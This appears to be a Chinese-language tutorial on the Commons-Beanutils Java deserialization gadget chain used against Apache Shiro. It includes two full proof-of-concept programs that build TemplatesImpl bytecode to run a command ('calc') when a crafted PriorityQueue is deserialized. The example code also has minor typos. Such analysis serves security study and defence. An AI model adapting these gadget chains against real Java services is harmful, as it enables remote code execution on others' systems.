0x01 前言

commons-beanutils是Apache开源组织提供的用于操作JAVA BEAN的工具包。使用commons-beanutils,我们可以很方便的对bean对象的属性进行操作。Commons-Beanutils利用链也叫CB链,需要注意跟CC链区分。CB链再shiro反序列化中派上大用。Shiro是默认依赖Commons-Beanutils的,那么就可以利用CommonsBeanutils反序列化链进行构造payload。

  1. <dependency>
  2. <groupId>commons-beanutils</groupId>
  3. <artifactId>commons-beanutils</artifactId>
  4. <version>1.9.3</version>
  5. </dependency>

0x02 相关知识

Java Bean

Java Bean是对一种类的称呼,具备以下特征的类即可称为java bean。

  • 提供一个默认的无参构造函数。
  • 需要被序列化并且实现了 Serializable 接口。
  • 可能有一系列可读写属性,并且一般是 private 的。
  • 可能有一系列的 getter 或 setter 方法。

Java Bean 的作用也就是把一组数据组合成一个特殊的类便于传输。 Java Bean 可以用在图形界面的可视化设计、JSP 封装数据保存到数据库、Android AIDL 跨进程通信,Spring框架等场景中。
以下代码便是一个Java Bean。

  1. public class Person {
  2. privete String name;
  3. private int age;
  4. public void setName(String newName) {
  5. name = newName;
  6. }
  7. public String getName() {
  8. return name;
  9. }
  10. public void setAge(int neweAge) {
  11. age = newAge;
  12. }
  13. public int getAge() {
  14. return age;
  15. }
  16. }

PropertyUtils.getProperty

CommonsBeanutils中存在一个方法,org.apache.commons.beanutils.PropertyUtils.getProperty,该方法可以实现对Java Bean的getter方法的调用。PropertyUtils.getProperty(new Person(),"name")则会调用它的getName()方法。

  1. Person person = new Person();
  2. person.setName("张三");
  3. System.out.println(PropertyUtils.getProperty(person,"name"));
  4. // output:张三

BeanComparator

org.apache.commons.beanutils.BeanComparator实现了 Comparator 接口,可以用来比较两个Bean的属性等内容。其中compare方法调用了PropertyUtils.getProperty方法。在初始化BeanComparator对象时如果没有传入comparator则会默认使用ComparableComparator类,而该类是属于commons-collections依赖的,在Shiro中默认包含一部分commons-collections的类,但是不完全,比如就没有包含ComparableComparator类。
image.png

TemplatesImpl

经过对CC链的分析,对于TemplatesImpl类已经很熟悉了,在很多链中TemplatesImpl类加载恶意字节码作为sink实现最终恶意代码执行。在CC链中TemplatesImpl作为sink都需要调用newTransformer方法,而在TemplatesImpl类中存在一个getter方法会间接调用newTransformer方法。
image.png

0x03 利用链1

在既存在cc和cb依赖的情况下,利用链如下:

  1. import javassist.CannotCompileException;
  2. import javassist.ClassPool;
  3. import javassist.CtClass;
  4. import javassist.NotFoundException;
  5. import org.apache.commons.beanutils.BeanComparator;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.lang.reflect.InvocationTargetException;
  9. import java.util.PriorityQueue;
  10. public class CB {
  11. public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
  12. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  13. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  14. ClassPool classPool= ClassPool.getDefault();//返回默认的类池
  15. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  16. CtClass payload=classPool.makeClass("CommonsBeanutils");//创建一个新的public类
  17. payload.setSuperclass(classPool.get(AbstractTranslet));
  18. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
  19. byte[] bytes=payload.toBytecode();//转换为byte数组
  20. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
  21. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
  22. field.setAccessible(true)
  23. field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
  24. Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
  25. field1.setAccessible(true);
  26. field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
  27. BeanComparator beanComparator = new BeanComparator();
  28. beanComparator.setProperty("outputProperties");
  29. PriorityQueue priorityQueue = new PriorityQueue(2);
  30. priorityQueue.add(1);
  31. priorityQueue.add(2);
  32. Field field2 = priorityQueue.getClass().getDeclaredField("queue");
  33. field2.setAccessible(true);
  34. field2.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});
  35. Field field3 = priorityQueue.getClass().getDeclaredField("comparator");
  36. field3.setAccessible(true);
  37. field3.set(priorityQueue,beanComparator);
  38. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  39. objectOutputStream.writeObject(priorityQueue);
  40. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
  41. objectInputStream.readObject();
  42. }
  43. }

整体代码跟CC链差不多,主要是设置BeanComparator的property属性。

0x04 利用链2

Commons-beanutils.BeanComparator 的构造方法,其实只有默认不传入 Comparator 的情况下才会去使用Commons-collections的ComparableComparator,所以我们需要传入一个原生的Comparator 即可摆脱对Commons-Collections 的依赖,同时,因为这个漏洞是应用于反序列化场景,所以要求这个类还必须继承 Serializable 接口,该静态对象java.lang.String.CASE_INSENSITIVE_ORDER满足条件。这也是实际上进行shiro反序列化时常用的链。
image.png
利用链如下:

  1. import javassist.CannotCompileException;
  2. import javassist.ClassPool;
  3. import javassist.CtClass;
  4. import javassist.NotFoundException;
  5. import org.apache.commons.beanutils.BeanComparator;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.lang.reflect.InvocationTargetException;
  9. import java.util.PriorityQueue;
  10. public class CB {
  11. public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
  12. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  13. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  14. ClassPool classPool= ClassPool.getDefault();//返回默认的类池
  15. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  16. CtClass payload=classPool.makeClass("CommonsBeanutils");//创建一个新的public类
  17. payload.setSuperclass(classPool.get(AbstractTranslet));
  18. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
  19. byte[] bytes=payload.toBytecode();//转换为byte数组
  20. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
  21. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
  22. field.setAccessible(true);
  23. field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
  24. Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
  25. field1.setAccessible(true);
  26. field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
  27. BeanComparator beanComparator = new BeanComparator();
  28. beanComparator.setProperty("outputProperties");
  29. PriorityQueue priorityQueue = new PriorityQueue(2);
  30. priorityQueue.add(1);
  31. priorityQueue.add(2);
  32. Field field2 = priorityQueue.getClass().getDeclaredField("queue");
  33. field2.setAccessible(true);
  34. field2.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});
  35. Field field3 = priorityQueue.getClass().getDeclaredField("comparator");
  36. field3.setAccessible(true);
  37. field3.set(priorityQueue,beanComparator);
  38. Field field4 = beanComparator.getClass().getDeclaredField("comparator");
  39. field4.setAccessible(true);
  40. field4.set(beanComparator,String.CASE_INSENSITIVE_ORDER);
  41. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  42. objectOutputStream.writeObject(priorityQueue);
  43. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
  44. objectInputStream.readObject();
  45. }
  46. }

跟利用链1唯一的差别就是反射更改了beanComparator的comparator属性为String.CASE_INSENSITIVE_ORDER

  1. PriorityQueue.readObject()
  2. PriorityQueue.heapify()
  3. PriorityQueue.siftDown()
  4. PriorityQueue.siftDownUsingComparator()
  5. BeanComparator.compare()
  6. PropertyUtils.getProperty()
  7. TemplatesImpl.getOutputProperties()
  8. TemplatesImpl.newTransformer()
  9. TemplatesImpl.getTransletInstance()
  10. TemplatesImpl.defineTransletClasses()
  11. TransletClassLoader.defineClass()
  12. newInstance()
  13. Runtime.getRuntime().exec("calc.exe")

image.png

0x05 总结

CB链主要应用场景在shiro反序列化中,sink是TemplatesImpl,source是priorityQueue#readObject。中继使用BeanComparator类。